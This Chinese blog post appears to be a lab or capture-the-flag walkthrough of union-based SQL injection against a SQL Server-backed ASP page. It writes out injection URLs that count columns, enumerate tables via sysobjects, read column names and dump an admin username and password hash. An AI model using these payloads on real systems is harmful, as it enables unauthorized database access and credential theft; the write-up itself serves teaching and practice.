Fork me on GitHub

sql server注入

sql server与mysql有一定的区别
sql server的库名:db_name(),版本:@@version,@@servername,当前用户:user
没有加括号;
然后还有就是在查表的时候,在需要的位置加上()括号里面加上语句即可;
http://219.153.49.228:41094/new_list.asp?id=2
可能会用到:
admin adminuser user pass password

1.用order by 进行测试
http://219.153.49.228:41094/new_list.asp?id=2 order by 1,2

区别于sql 这里查询需要用 union all select
http://219.153.49.228:41094/new_list.asp?id=-2 union all select 1,2,'3',4
因为order by 1,2,3的时候报错,然后到4的时候又正确,说明有可能没有第三或者第三是需要加''

对显示的1,2进行注入
database(),version()
http://219.153.49.228:41094/new_list.asp?id=-2 union all select 1,db_name(),'3',4

库名:db_name():mozhe_db_v2
版本:@@version:SQL Server 2005 - 9.00.1399.06
@@servername:Sql server的本地服务器名称:MOBAN9527\SQLEXPRESS
当前用户:user:dbo

4.进行查表
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
where xtype='u'的意思是U代表数据表
结果:manage,sysrowsetcolumns

5.查找字段limit 1,1
(select top 1 col_name(object_id('manage'),1) from sysobjects)
结果:id,username,password
(select top 1 col_name(object_id('sysrowsetcolumns'),1) from sysobjects)

获取表manage的字段的信息
1.获取账号
union all select 1,(select top 1 username from manage),null,null
username:admin_mz
获取id
(select top 1 id from manage)
id=1
获取密码
(select top 1 password from manage)
密码:72e1bfc3f01b7583
进行加解密获取密码

注意:大家都知道在数据库中有一个系统表sysobjects,里面存储了数据库各个对象的信息。
可以查询下看看结果。可以看出每个对象都有一个ID,这个表存储了表,存储过程,触发器,视图等相关信息。注意:字段没有。
object_id就是根据对象名称返回该对象的id.
object_name是根据对象id返回对象名称.
select object_id(对象名)等同于:
select id from sysobjects where name=对象名
select object_name(id号)等同于:
select name from sysobjects where id=id号

posted @   sxflmy  阅读(285)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
点击右上角即可分享
微信分享提示